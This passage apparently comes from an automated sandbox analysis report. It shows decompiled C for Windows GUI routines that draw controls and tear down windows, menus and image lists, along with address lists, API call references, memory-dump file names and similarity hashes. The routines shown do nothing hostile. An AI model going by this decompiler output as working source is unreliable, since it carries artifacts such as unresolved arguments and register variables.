					_t101 =  &_v48;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t179 = _v68;
					__eflags = _t179;
					if(_t179 == 0) {
						__eflags = _v76;
						if(_v76 == 0) {
							_push(0xfffffffe);
							_push(0xfffffffe);
						} else {
							_push(0xfffffffd);
							_push(0xfffffffd);
						}
						InflateRect(_t101, ??, ??);
						_v48.left = _v48.left - 1;
						_t38 =  &(_v48.top);
						 *_t38 = _v48.top - 1;
						__eflags =  *_t38;
					} else {
						InflateRect( &_v48, 0xfffffffe, 0xfffffffe);
					}
					FillRect(_t151,  &_v48, _v80);
					_t105 = 2;
					__eflags = _t179;
					if(_t179 != 0) {
						L24:
						_v64.top.left = _v64.top.left + _t105;
						_t45 =  &(_v64.right);
						 *_t45 = _v64.right + _t105;
						__eflags =  *_t45;
					} else {
						__eflags = _v72 - _t179;
						if(_v72 != _t179) {
							goto L24;
						}
					}
					_t180 = _a8;
					_t171 = 0x104;
					_v96 = 0x104;
					_t157 = GetWindowLongW( *_t180, 0xfffffff0);
					__eflags = _t157 & 0x00002000;
					if((_t157 & 0x00002000) == 0) {
						_t171 = 0x124;
						__eflags = 0x104;
						_v96 = 0x104;
					}
					__eflags = (_t157 & 0x00000300) - 0x300;
					if((_t157 & 0x00000300) == 0x300) {
						_t171 = _t171 | 0x00000001;
						__eflags = _t171;
						_v96 = _t171;
					}
					__eflags = _t157 & 0x00000200;
					if(__eflags == 0) {
						__eflags = _t157 & 0x00000100;
						if(__eflags == 0) {
							_t171 = _t171 | 0x00000001;
							__eflags = _t171;
							goto L33;
						}
					} else {
						_t136 = 2;
						_t171 = _t171 | _t136;
						L33:
						_v96 = _t171;
					}
					_t109 = SendMessageW( *_t180, 0xe, 0, 0);
					_t165 = 2;
					_t58 = _t109 + 1; // 0x1
					_t181 = _t58;
					_t112 = E011A0FE6(_t151, _t171, __eflags,  ~(0 | __eflags > 0x00000000) | _t181 * _t165);
					_v80 = _t112;
					GetWindowTextW( *_a8, _t112, _t181);
					DrawTextW(_t151, _v80, 0xffffffff,  &(_v64.top), _t171);
					__eflags = _v72;
					if(_v72 != 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_v64.right = _v64.right + 1;
						_t74 =  &(_v64.bottom);
						 *_t74 = _v64.bottom.left + 1;
						__eflags =  *_t74;
						SetTextColor(_t151, GetSysColor(0x11));
						DrawTextW(_t151, _v84, 0xffffffff,  &_v64, _v100);
					}
					__eflags = _v84;
					if(_v84 != 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t184 = CreateSolidBrush(0);
						FrameRect(_t151,  &(_v64.top), _t184);
						DeleteObject(_t184);
						InflateRect( &_v64, 0xfffffffc, 0xfffffffc);
						DrawFocusRect(_t151,  &_v64);
					}
					L011A105C(_v76);
					SelectObject(_t151, _v64);
					DeleteObject(_v96);
					SetTextColor(_t151, _v84);
					SetBkColor(_t151, _v80);
					_t123 = 1;
					__eflags = 1;
				} else {
					_t123 = E0120AF18(_a4, _a8);
				}
				return _t123;
			}

0x0120ac12
0x0120ac24
0x0120ac27
0x0120ac2c
0x0120ac32
0x0120ac3b
0x0120ac3e
0x0120ac47
0x0120ac4b
0x0120ac4d
0x0120ac60
0x0120ac63
0x0120ac67
0x0120ac70
0x0120ac69
0x0120ac6d
0x0120ac6d
0x0120ac74
0x0120ac4f
0x0120ac55
0x0120ac5b
0x0120ac5b
0x0120ac7a
0x0120ac7e
0x0120ac82
0x0120aca3
0x0120aca7
0x0120ac84
0x0120ac8e
0x0120ac92
0x0120ac92
0x0120acb6
0x0120acbb
0x0120acc1
0x0120acca
0x0120acd3
0x0120acd7
0x0120acd8
0x0120acd9
0x0120acda
0x0120acdb
0x0120ad13
0x0120ad18
0x0120ad23
0x0120ad23
0x0120ad33
0x0120acdd
0x0120ace6
0x0120acfb
0x0120ad04
0x0120ad0b
0x0120ad0b
0x0120ad41
0x0120ad45
0x0120ad46
0x0120ad47
0x0120ad48
0x0120ad49
0x0120ad4d
0x0120ad4f
0x0120ad5e
0x0120ad63
0x0120ad6b
0x0120ad6d
0x0120ad65
0x0120ad65
0x0120ad67
0x0120ad67
0x0120ad70
0x0120ad76
0x0120ad7a
0x0120ad7a
0x0120ad7a
0x0120ad51
0x0120ad56
0x0120ad56
0x0120ad88
0x0120ad90
0x0120ad91
0x0120ad93
0x0120ad9b
0x0120ad9b
0x0120ad9f
0x0120ad9f
0x0120ad9f
0x0120ad95
0x0120ad95
0x0120ad99
0x00000000
0x00000000
0x0120ad99
0x0120ada3
0x0120ada6
0x0120adad
0x0120adb9
0x0120adbb
0x0120adc1
0x0120adc3
0x0120adc3
0x0120adc6
0x0120adc6
0x0120add3
0x0120add5
0x0120add7
0x0120add7
0x0120adda
0x0120adda
0x0120adde
0x0120ade4
0x0120aded
0x0120adf3
0x0120adf5
0x0120adf5
0x00000000
0x0120adf5
0x0120ade6
0x0120ade8
0x0120ade9
0x0120adf8
0x0120adf8
0x0120adf8
0x0120ae04
0x0120ae0e
0x0120ae0f
0x0120ae0f
0x0120ae1e
0x0120ae26
0x0120ae2f
0x0120ae42
0x0120ae48
0x0120ae4d
0x0120ae59
0x0120ae5a
0x0120ae5b
0x0120ae5c
0x0120ae5d
0x0120ae61
0x0120ae61
0x0120ae61
0x0120ae6d
0x0120ae83
0x0120ae83
0x0120ae89
0x0120ae8e
0x0120ae9a
0x0120ae9b
0x0120ae9c
0x0120ae9d
0x0120aea4
0x0120aead
0x0120aeb4
0x0120aec3
0x0120aecf
0x0120aecf
0x0120aed9
0x0120aee4
0x0120aeee
0x0120aef9
0x0120af04
0x0120af0c
0x0120af0c
0x0120ac14
0x0120ac1a
0x0120ac1a
0x0120af13

APIs

SetTextColor.GDI32(?,00000000), ref: 0120AC55
GetSysColorBrush.USER32(0000000F), ref: 0120AC86
GetSysColor.USER32(0000000F), ref: 0120AC92
SetBkColor.GDI32(?,000000FF), ref: 0120ACAC
SelectObject.GDI32(?,?), ref: 0120ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 0120ACE6
GetSysColor.USER32(00000010), ref: 0120ACEE
CreateSolidBrush.GDI32(00000000), ref: 0120ACF5
FrameRect.USER32 ref: 0120AD04
DeleteObject.GDI32(00000000), ref: 0120AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 0120AD56
FillRect.USER32 ref: 0120AD88
GetWindowLongW.USER32(?,000000F0), ref: 0120ADB3

Part of subcall function 0120AF18: GetSysColor.USER32(00000012), ref: 0120AF51
Part of subcall function 0120AF18: SetTextColor.GDI32(?,?), ref: 0120AF55
Part of subcall function 0120AF18: GetSysColorBrush.USER32(0000000F), ref: 0120AF6B
Part of subcall function 0120AF18: GetSysColor.USER32(0000000F), ref: 0120AF76
Part of subcall function 0120AF18: GetSysColor.USER32(00000011), ref: 0120AF93
Part of subcall function 0120AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0120AFA1
Part of subcall function 0120AF18: SelectObject.GDI32(?,00000000), ref: 0120AFB2
Part of subcall function 0120AF18: SetBkColor.GDI32(?,00000000), ref: 0120AFBB
Part of subcall function 0120AF18: SelectObject.GDI32(?,?), ref: 0120AFC8
Part of subcall function 0120AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 0120AFE7
Part of subcall function 0120AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0120AFFE
Part of subcall function 0120AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 0120B013

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 30cc6b6c2f9150eee1c9f38cba41af79883312c86626c82ee400da3611db8ee7
Instruction ID: 1dcd3b14a7ea1b3762b77f532d558cf65298ba42248055aaf496bfb36c8bc6e1
Opcode Fuzzy Hash: 30cc6b6c2f9150eee1c9f38cba41af79883312c86626c82ee400da3611db8ee7
Instruction Fuzzy Hash: C0A18A72018305BFD722DF64EC08A6B7BA9FF88321F500B19FA62961D5DB70D984CB55

Uniqueness

Uniqueness Score: -1.00%

Function 01182FE8, Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E01182FE8(void* __ecx, int _a4) {
				struct HWND__* _v32;
				char _v48;
				void* _v52;
				int _v68;
				void* _v76;
				struct HWND__** _v80;
				struct HWND__* _v84;
				signed int _v88;
				signed int _v92;
				struct HWND__** _v96;
				struct HWND__* _v100;
				void* __ebx;
				char _t193;
				signed int _t198;
				int _t208;
				struct HMENU__* _t209;
				struct HMENU__* _t211;
				struct HWND__* _t218;
				struct HWND__* _t221;
				struct HMENU__* _t228;
				intOrPtr _t234;
				struct HWND__* _t236;
				signed int _t237;
				struct HWND__* _t243;
				struct HWND__* _t259;
				signed int _t262;
				struct HWND__* _t263;
				struct HWND__* _t273;
				int _t275;
				void* _t278;
				void* _t286;
				int _t288;
				void* _t291;
				void* _t303;
				void* _t309;
				struct HWND__** _t313;
				struct HWND__* _t316;
				struct HWND__* _t318;
				struct HWND__* _t320;
				void* _t325;
				struct HWND__* _t326;
				struct HWND__* _t328;
				signed int _t329;
				intOrPtr _t330;
				struct HWND__** _t332;
				signed char _t337;
				signed int _t338;
				struct HWND__* _t339;
				struct HWND__* _t340;
				struct HWND__* _t341;
				struct HWND__* _t342;
				struct HWND__** _t345;
				signed int _t346;
				int _t348;
				struct HWND__** _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				intOrPtr* _t355;
				signed int _t356;
				signed int _t358;

				_t348 = _a4;
				_t309 = __ecx;
				if(E011827D2(__ecx, _t348,  &_v92,  &_v88) == 0) {
					L16:
					_t193 = 0;
					L15:
					return _t193;
				}
				_v92 = _v92 | 0xffffffff;
				_t313 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x60)) + _v92 * 4))));
				_v96 = _t313;
				_t345 =  *( *( *((intOrPtr*)(__ecx + 0x74)) + _v88 * 4));
				_v80 = _t345;
				_t337 = _t345[0x24];
				_t198 = _t337 & 0x000000ff;
				if(_t198 <= 0x11) {
					if(__eflags == 0) {
						SendMessageW(_t345[0xd], 0x1101, 0, _t345[4]);
						L8:
						_t350 = _v96;
						L9:
						if(_t345[0x11] != 0) {
							DeleteObject(_t345[0x11]);
						}
						if(_t345[0x19] != 0) {
							DeleteObject(_t345[0x19]);
						}
						if(_t345[0x1a] != 0) {
							DestroyIcon(_t345[0x1a]);
						}
						if(_t345[0x14] != 0) {
							DestroyWindow(_t345[0x14]);
						}
						_t204 = _v96;
						if(_v96 == _t350[7]) {
							_t350[7] = _v100;
						}
						E0118283D(_t309, _t309, _t204);
						_t193 = 1;
						goto L15;
					}
					__eflags = _t198 - 0xc;
					if(__eflags > 0) {
						__eflags = _t198 - 0xe;
						if(_t198 < 0xe) {
							L7:
							DestroyWindow( *_t345);
							goto L8;
						}
						__eflags = _t198 - 0xf;
						if(_t198 <= 0xf) {
							__eflags = _t337 - 0xe;
							if(_t337 != 0xe) {
								L99:
								_t208 = DeleteMenu(_t345[3], _t348, 0);
								__eflags = _t208;
								if(_t208 != 0) {
									_t350 = _v96;
								} else {
									_t350 = _v96;
									DeleteMenu(_t350[0x67], _t348, _t208);
								}
								_t209 = _t350[0x67];
								__eflags = _t209;
								if(_t209 != 0) {
									_t211 = GetMenuItemCount(_t209);
									__eflags = _t211;
									if(_t211 == 0) {
										SetMenu( *_t350, _t211);
										DestroyMenu(_t350[0x67]);
										_t149 =  &(_t350[0x67]);
										 *_t149 = _t350[0x67] & 0x00000000;
										__eflags =  *_t149;
									}
								}
								DrawMenuBar( *_t350);
								goto L9;
							}
							_v52 = 0x30;
							E011A3010( &_v48, 0, 0x2c);
							_v48 = 4;
							_t218 = GetMenuItemInfoW(_t345[3], _t348, 0,  &_v52);
							__eflags = _t218;
							if(_t218 == 0) {
								goto L99;
							}
							_t316 = _v32;
							_v80 = _t316;
							__eflags = _t316;
							if(_t316 == 0) {
								goto L99;
							}
							_t351 = 3;
							__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t351;
							if( *((intOrPtr*)(_t309 + 0x84)) < _t351) {
								L98:
								_t348 = _a4;
								goto L99;
							} else {
								goto L93;
							}
							do {
								L93:
								_t221 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t351 * 4));
								__eflags = _t221;
								if(_t221 != 0) {
									__eflags =  *((intOrPtr*)(_t221 + 0xc)) - _t316;
									if( *((intOrPtr*)(_t221 + 0xc)) == _t316) {
										__eflags =  *((char*)(_t221 + 0x90)) - 0xf;
										if( *((char*)(_t221 + 0x90)) == 0xf) {
											E0118283D(_t309, _t309, _t351);
											_t316 = _v84;
										}
									}
								}
								_t351 = _t351 + 1;
								__eflags = _t351 -  *((intOrPtr*)(_t309 + 0x84));
							} while (_t351 <=  *((intOrPtr*)(_t309 + 0x84)));
							goto L98;
						}
						__eflags = _t198 - 0x10;
						if(_t198 != 0x10) {
							goto L7;
						}
						__eflags = _t345[0x10];
						if(_t345[0x10] != 0) {
							ImageList_Destroy(_t345[0x10]);
						}
						_t352 = 3;
						__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t352;
						if( *((intOrPtr*)(_t309 + 0x84)) >= _t352) {
							do {
								_t318 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t352 * 4));
								__eflags = _t318;
								if(_t318 != 0) {
									__eflags =  *((intOrPtr*)(_t318 + 0x34)) -  *_t345;
									if( *((intOrPtr*)(_t318 + 0x34)) ==  *_t345) {
										__eflags =  *((char*)(_t318 + 0x90)) - 0x11;
										if( *((char*)(_t318 + 0x90)) == 0x11) {
											E0118283D(_t309, _t309, _t352);
										}
									}
								}
								_t352 = _t352 + 1;
								__eflags = _t352 -  *((intOrPtr*)(_t309 + 0x84));
							} while (_t352 <=  *((intOrPtr*)(_t309 + 0x84)));
						}
						goto L7;
					}
					if(__eflags == 0) {
						_t353 = 3;
						__eflags =  *(__ecx + 0x84) - _t353;
						if( *(__ecx + 0x84) < _t353) {
							L74:
							_t228 =  *(_t313 + 0x1a0);
							__eflags = _t345[3] - _t228;
							if(_t345[3] != _t228) {
								DestroyMenu(_t345[3]);
								goto L8;
							}
							DestroyMenu(_t228);
							_t350 = _v96;
							_t350[0x68] = _t350[0x68] & 0x00000000;
							goto L9;
						} else {
							goto L66;
						}
						do {
							L66:
							_t320 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t353 * 4));
							__eflags = _t320;
							if(_t320 == 0) {
								goto L72;
							}
							__eflags =  *(_t320 + 0xc) - _t345[3];
							if( *(_t320 + 0xc) != _t345[3]) {
								goto L72;
							}
							_t234 =  *((intOrPtr*)(_t320 + 0x90));
							__eflags = _t234 - 0xf;
							if(_t234 == 0xf) {
								L71:
								E0118283D(_t309, _t309, _t353);
								goto L72;
							}
							__eflags = _t234 - 0xe;
							if(_t234 == 0xe) {
								goto L71;
							}
							 *(_t320 + 0xc) =  *(_t320 + 0xc) & 0x00000000;
							L72:
							_t353 = _t353 + 1;
							__eflags = _t353 -  *((intOrPtr*)(_t309 + 0x84));
						} while (_t353 <=  *((intOrPtr*)(_t309 + 0x84)));
						_t313 = _v96;
						goto L74;
					}
					__eflags = _t198 - 2;
					if(_t198 < 2) {
						goto L7;
					}
					_t354 = 3;
					__eflags = _t198 - _t354;
					if(_t198 <= _t354) {
						_t236 =  *(_t313 + 0x1c4);
						__eflags = _t236;
						if(_t236 > 0) {
							__eflags = _a4 - _t236;
							if(_a4 == _t236) {
								 *(_t313 + 0x1c4) =  *(_t313 + 0x1c4) & 0x00000000;
							}
						}
						goto L7;
					}
					__eflags = _t198 - 0xa;
					if(_t198 == 0xa) {
						_t237 =  *(__ecx + 0x84);
						__eflags = _t237 - _t354;
						if(_t237 < _t354) {
							L60:
							_t338 = _v92;
							 *(_t313 + 0x188) = 0;
							 *((intOrPtr*)(_t313 + 0x18c)) = _t338;
							 *((intOrPtr*)(_t313 + 0x190)) = _t338;
							 *((intOrPtr*)(_t313 + 0x194)) = 0;
							 *((char*)(_t313 + 0x198)) = 0;
							DestroyWindow( *_t345);
							__eflags = _t345[0x10];
							if(_t345[0x10] != 0) {
								ImageList_Destroy(_t345[0x10]);
							}
							goto L8;
						}
						_t346 = _t237;
						do {
							_t243 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t346 * 4));
							__eflags = _t243;
							if(_t243 != 0) {
								__eflags =  *((char*)(_t243 + 0x90)) - 0xb;
								if( *((char*)(_t243 + 0x90)) == 0xb) {
									E01182FE8(_t309, _t346);
								}
							}
							_t346 = _t346 - 1;
							__eflags = _t346 - _t354;
						} while (_t346 >= _t354);
						_t345 = _v80;
						_t313 = _v96;
						goto L60;
					}
					__eflags = _t198 - 0xb;
					if(_t198 != 0xb) {
						goto L7;
					} else {
						_v84 =  *((intOrPtr*)(_t313 + 0x190));
						SendMessageW( *(_t313 + 0x188), 0x1308, _t345[0x24] & 0x000000ff, 0);
						_t325 =  *( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t309 + 0x74)) + E011829AB(_t309, _v96[0x62]) * 4)))) + 0x40);
						__eflags = _t325;
						if(_t325 != 0) {
							_t275 = _t345[0x22] & 0x0000ffff;
							__eflags = _t275 - _v92;
							if(_t275 != _v92) {
								ImageList_Remove(_t325, _t275);
							}
						}
						__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t354;
						if( *((intOrPtr*)(_t309 + 0x84)) < _t354) {
							L47:
							_t326 = _v84;
							_t350 = _v96;
							__eflags = (_t345[0x24] & 0x000000ff) - _t326;
							if((_t345[0x24] & 0x000000ff) != _t326) {
								_t350[0x64] = _v92;
								__eflags = _t326 - (_t345[0x24] & 0x000000ff);
								if(_t326 <= (_t345[0x24] & 0x000000ff)) {
									L52:
									_t345[0x24] = 0xff;
									E0120BD10(_t309, _t350, _t326);
									_t350[0x63] = _t350[0x63] - 1;
									_t350[0x65] = _t350[0x65] & 0x00000000;
									goto L9;
								}
								L51:
								__eflags = _t326;
								goto L52;
							}
							__eflags = _t326 - _t350[0x63];
							if(_t326 == _t350[0x63]) {
								goto L51;
							} else {
								goto L52;
							}
						} else {
							goto L33;
						}
						do {
							L33:
							_t328 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t354 * 4));
							__eflags = _t328;
							if(_t328 == 0) {
								goto L46;
							}
							_t259 =  *(_t328 + 0x93);
							__eflags = _t259 - 0xff;
							if(_t259 == 0xff) {
								goto L46;
							}
							_t339 = _t345[0x24];
							__eflags = _t259 - _t339;
							if(__eflags != 0) {
								L39:
								if(__eflags > 0) {
									_t273 = _t259 - 1;
									__eflags = _t273;
									 *(_t328 + 0x93) = _t273;
								}
								_t340 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t354 * 4));
								__eflags =  *((char*)(_t340 + 0x90)) - 0xb;
								if( *((char*)(_t340 + 0x90)) == 0xb) {
									_t329 = _t345[0x22] & 0x0000ffff;
									__eflags = _t329;
									if(_t329 >= 0) {
										_t262 =  *(_t340 + 0x88) & 0x0000ffff;
										__eflags = _t262;
										if(_t262 >= 0) {
											__eflags = _t262 - _t329;
											if(_t262 > _t329) {
												_t263 = _t262 - 1;
												__eflags = _t263;
												_v52 = 2;
												 *(_t340 + 0x88) = _t263;
												_t330 =  *((intOrPtr*)(_t309 + 0x74));
												_v32 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t330 + _t354 * 4)))) + 0x88));
												SendMessageW(_v96[0x62], 0x133d,  *( *((intOrPtr*)( *((intOrPtr*)(_t330 + _t354 * 4)))) + 0x93) & 0x000000ff,  &_v52);
											}
										}
									}
								}
								goto L46;
							}
							__eflags =  *((char*)(_t328 + 0x90)) - 0xb;
							if( *((char*)(_t328 + 0x90)) == 0xb) {
								__eflags = _t259 - _t339;
								goto L39;
							} else {
								E01182FE8(_t309, _t354);
							}
							L46:
							_t354 = _t354 + 1;
							__eflags = _t354 -  *((intOrPtr*)(_t309 + 0x84));
						} while (_t354 <=  *((intOrPtr*)(_t309 + 0x84)));
						goto L47;
					}
				}
				_t278 = _t198 - 0x13;
				if(_t278 == 0) {
					__eflags = _t345[0xe];
					_t355 = ImageList_Destroy;
					if(_t345[0xe] != 0) {
						ImageList_Destroy(_t345[0xe]);
					}
					__eflags = _t345[0xf];
					if(_t345[0xf] != 0) {
						 *_t355(_t345[0xf]);
					}
					_t356 = 3;
					__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t356;
					if( *((intOrPtr*)(_t309 + 0x84)) >= _t356) {
						do {
							_t341 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t356 * 4));
							__eflags = _t341;
							if(_t341 != 0) {
								_t332 = _v96;
								__eflags =  *((intOrPtr*)(_t341 + 4)) - _t332[1];
								if( *((intOrPtr*)(_t341 + 4)) == _t332[1]) {
									__eflags =  *((char*)(_t341 + 0x90)) - 0x14;
									if( *((char*)(_t341 + 0x90)) == 0x14) {
										__eflags =  *((intOrPtr*)(_t341 + 0x34)) -  *_t345;
										if( *((intOrPtr*)(_t341 + 0x34)) ==  *_t345) {
											E01182FE8(_t309, _t356);
										}
									}
								}
							}
							_t356 = _t356 + 1;
							__eflags = _t356 -  *((intOrPtr*)(_t309 + 0x84));
						} while (_t356 <=  *((intOrPtr*)(_t309 + 0x84)));
					}
					goto L7;
				}
				_t286 = _t278 - 1;
				if(_t286 == 0) {
					_v68 = _t348;
					_v76 = 1;
					_t288 = SendMessageW(_t345[0xd], 0x1053, _v92,  &_v76);
					__eflags = _t288 - _v92;
					if(_t288 == _v92) {
						goto L16;
					}
					SendMessageW(_t345[0xd], 0x1008, _t288, 0);
					goto L8;
				}
				_t291 = _t286;
				if(_t291 == 0) {
					_t358 = 3;
					__eflags =  *(__ecx + 0x84) - _t358;
					if( *(__ecx + 0x84) < _t358) {
						goto L7;
					} else {
						goto L110;
					}
					while(1) {
						L110:
						_t342 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4));
						__eflags = _t342;
						if(_t342 == 0) {
							goto L115;
						}
						__eflags =  *((intOrPtr*)(_t342 + 4)) -  *((intOrPtr*)(_t313 + 4));
						if( *((intOrPtr*)(_t342 + 4)) !=  *((intOrPtr*)(_t313 + 4))) {
							goto L115;
						}
						__eflags =  *((char*)(_t342 + 0x90)) - 3;
						if( *((char*)(_t342 + 0x90)) != 3) {
							goto L115;
						}
						__eflags = _t342->i - _t345[0xd];
						if(_t342->i != _t345[0xd]) {
							goto L115;
						}
						MoveWindow( *( *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4))), ( *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4)))[0x22], ( *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4)))[0x22],  *(_t334 + 0x8c),  *(_t334 + 0x8e), 0);
						goto L7;
						L115:
						_t358 = _t358 + 1;
						__eflags = _t358 -  *((intOrPtr*)(_t309 + 0x84));
						if(_t358 >  *((intOrPtr*)(_t309 + 0x84))) {
							goto L7;
						}
					}
				}
				_t303 = _t291 - 5;
				if(_t303 != 0) {
					__eflags = _t303 != 0;
					if(_t303 != 0) {
						goto L7;
					}
					E0120AA7A(__ecx, _t345, _t313);
					goto L8;
				} else {
					E01181F1D(_t313, _t345);
					goto L7;
				}
			}

0x01182ff7
0x01182ffa
0x0118300b
0x011830b1
0x011830b1
0x011830a8
0x011830ae
0x011830ae
0x0118301c
0x01183024
0x01183029
0x01183030
0x01183032
0x01183036
0x0118303c
0x01183042
0x011bc722
0x011bcb5e
0x01183078
0x01183078
0x0118307c
0x01183080
0x011830b8
0x011830b8
0x01183086
0x011830c3
0x011830c3
0x0118308c
0x011830ce
0x011830ce
0x01183092
0x011830d9
0x011830d9
0x01183094
0x0118309b
0x011830e5
0x011830e5
0x011830a0
0x011830a7
0x00000000
0x011830a7
0x011bc728
0x011bc72b
0x011bca00
0x011bca03
0x01183070
0x01183072
0x00000000
0x01183072
0x011bca09
0x011bca0c
0x011bca67
0x011bca6a
0x011bcaeb
0x011bcaf1
0x011bcaf7
0x011bcaf9
0x011bcb0f
0x011bcafb
0x011bcafd
0x011bcb07
0x011bcb07
0x011bcb13
0x011bcb19
0x011bcb1b
0x011bcb1e
0x011bcb24
0x011bcb26
0x011bcb2b
0x011bcb37
0x011bcb3d
0x011bcb3d
0x011bcb3d
0x011bcb3d
0x011bcb26
0x011bcb46
0x00000000
0x011bcb46
0x011bca72
0x011bca7d
0x011bca85
0x011bca98
0x011bca9e
0x011bcaa0
0x00000000
0x00000000
0x011bcaa2
0x011bcaa6
0x011bcaaa
0x011bcaac
0x00000000
0x00000000
0x011bcab0
0x011bcab1
0x011bcab7
0x011bcae8
0x011bcae8
0x00000000
0x00000000
0x00000000
0x00000000
0x011bcab9
0x011bcab9
0x011bcabf
0x011bcac1
0x011bcac3
0x011bcac5
0x011bcac8
0x011bcaca
0x011bcad1
0x011bcad6
0x011bcadb
0x011bcadb
0x011bcad1
0x011bcac8
0x011bcadf
0x011bcae0
0x011bcae0
0x00000000
0x011bcab9
0x011bca0e
0x011bca11
0x00000000
0x00000000
0x011bca17
0x011bca1b
0x011bca20
0x011bca20
0x011bca28
0x011bca29
0x011bca2f
0x011bca35
0x011bca3b
0x011bca3d
0x011bca3f
0x011bca44
0x011bca46
0x011bca48
0x011bca4f
0x011bca54
0x011bca54
0x011bca4f
0x011bca46
0x011bca59
0x011bca5a
0x011bca5a
0x011bca62
0x00000000
0x011bca2f
0x011bc731
0x011bc98a
0x011bc98b
0x011bc991
0x011bc9d0
0x011bc9d0
0x011bc9d6
0x011bc9d9
0x011bc9f5
0x00000000
0x011bc9f5
0x011bc9dc
0x011bc9e2
0x011bc9e6
0x00000000
0x00000000
0x00000000
0x00000000
0x011bc993
0x011bc993
0x011bc999
0x011bc99b
0x011bc99d
0x00000000
0x00000000
0x011bc9a2
0x011bc9a5
0x00000000
0x00000000
0x011bc9a7
0x011bc9ad
0x011bc9af
0x011bc9bb
0x011bc9be
0x00000000
0x011bc9be
0x011bc9b1
0x011bc9b3
0x00000000
0x00000000
0x011bc9b5
0x011bc9c3
0x011bc9c3
0x011bc9c4
0x011bc9c4
0x011bc9cc
0x00000000
0x011bc9cc
0x011bc737
0x011bc73a
0x00000000
0x00000000
0x011bc742
0x011bc743
0x011bc745
0x011bc965
0x011bc96b
0x011bc96d
0x011bc973
0x011bc976
0x011bc97c
0x011bc97c
0x011bc976
0x00000000
0x011bc96d
0x011bc74b
0x011bc74e
0x011bc8eb
0x011bc8f1
0x011bc8f3
0x011bc921
0x011bc921
0x011bc927
0x011bc92d
0x011bc933
0x011bc939
0x011bc93f
0x011bc947
0x011bc94d
0x011bc951
0x011bc95a
0x011bc95a
0x00000000
0x011bc951
0x011bc8f5
0x011bc8f7
0x011bc8fd
0x011bc8ff
0x011bc901
0x011bc903
0x011bc90a
0x011bc90f
0x011bc90f
0x011bc90a
0x011bc914
0x011bc915
0x011bc915
0x011bc919
0x011bc91d
0x00000000
0x011bc91d
0x011bc754
0x011bc757
0x00000000
0x011bc75d
0x011bc765
0x011bc77c
0x011bc79d
0x011bc7a0
0x011bc7a2
0x011bc7a4
0x011bc7ab
0x011bc7b0
0x011bc7b5
0x011bc7b5
0x011bc7b0
0x011bc7bb
0x011bc7c1
0x011bc896
0x011bc89d
0x011bc8a1
0x011bc8a5
0x011bc8a7
0x011bc8b7
0x011bc8c4
0x011bc8c6
0x011bc8c9
0x011bc8cd
0x011bc8d4
0x011bc8d9
0x011bc8df
0x00000000
0x011bc8df
0x011bc8c8
0x011bc8c8
0x00000000
0x011bc8c8
0x011bc8a9
0x011bc8af
0x00000000
0x011bc8b1
0x00000000
0x011bc8b1
0x00000000
0x00000000
0x00000000
0x011bc7c7
0x011bc7c7
0x011bc7cd
0x011bc7cf
0x011bc7d1
0x00000000
0x00000000
0x011bc7d7
0x011bc7dd
0x011bc7df
0x00000000
0x00000000
0x011bc7e5
0x011bc7eb
0x011bc7ed
0x011bc807
0x011bc807
0x011bc809
0x011bc809
0x011bc80b
0x011bc80b
0x011bc817
0x011bc819
0x011bc820
0x011bc822
0x011bc829
0x011bc82c
0x011bc82e
0x011bc835
0x011bc838
0x011bc83a
0x011bc83d
0x011bc83f
0x011bc83f
0x011bc840
0x011bc848
0x011bc84f
0x011bc85e
0x011bc883
0x011bc883
0x011bc83d
0x011bc838
0x011bc82c
0x00000000
0x011bc820
0x011bc7ef
0x011bc7f6
0x011bc805
0x00000000
0x011bc7f8
0x011bc7fb
0x011bc7fb
0x011bc889
0x011bc889
0x011bc88a
0x011bc88a
0x00000000
0x011bc7c7
0x011bc757
0x01183048
0x0118304b
0x011bcc39
0x011bcc3d
0x011bcc43
0x011bcc48
0x011bcc48
0x011bcc4a
0x011bcc4e
0x011bcc53
0x011bcc53
0x011bcc57
0x011bcc58
0x011bcc5e
0x011bcc64
0x011bcc6a
0x011bcc6c
0x011bcc6e
0x011bcc70
0x011bcc77
0x011bcc7a
0x011bcc7c
0x011bcc83
0x011bcc88
0x011bcc8a
0x011bcc8f
0x011bcc8f
